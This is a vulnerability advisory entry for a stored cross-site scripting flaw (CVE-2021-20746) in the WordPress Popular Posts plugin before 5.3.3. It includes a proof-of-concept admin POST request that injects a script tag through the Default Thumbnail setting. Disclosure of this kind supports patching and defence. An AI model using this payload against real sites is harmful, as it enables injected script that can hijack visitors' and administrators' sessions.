WordPress Popular Posts < 5.3.3 – Authenticated Stored Cross-Site Scripting (XSS) | CVE 2021-20746 | Plugin Vulnerabilities

Description

The plugin did not properly sanitise or escape its Default Thumbnail setting before outputting back in the page, leading to a stored Cross-Site Scripting issue

Proof of Concept

POST /wp-admin/options-general.php?page=wordpress-popular-posts&tab=tools HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 181
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

upload_thumb_src=%22%3e%3cscript%3ealert(%2fXSS%2f)%3c%2fscript%3e&thumb_source=featured&thumb_lazy_load=1&thumb_field=&thumb_field_resize=0&section=thumb&wpp-admin-token=69e258f2d7

Affects Plugins

wordpress-popular-posts

Fixed in 5.3.3

References

CVE

URL

https://plugins.trac.wordpress.org/changeset/2542638

URL

https://jvn.jp/en/jp/JVN63066062/

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Yu Iwama of Secure Sky Technology Inc.

Verified

Yes

WPVDB ID

86cc93c1-daf5-43e7-8afb-66362d784ce9

Timeline

Publicly Published

2021-06-07 (about 4 years ago)

Added

2021-06-07 (about 4 years ago)

Last Updated

2022-01-17 (about 4 years ago)

Other

Published

Title

Published

2024-12-16

Title

Animated Counters <= 2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2023-02-15

Title

Tapfiliate < 3.0.13 - Admin+ Stored XSS

Published

2024-03-16

Title

FV Flowplayer Video Player < 7.5.44.7212 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2022-11-04

Title

Donations via PayPal < 1.9.9 - Admin+ Stored XSS

Published

2024-03-21

Title

Blocksy Companion < 2.0.32 - Contributor+ Stored XSS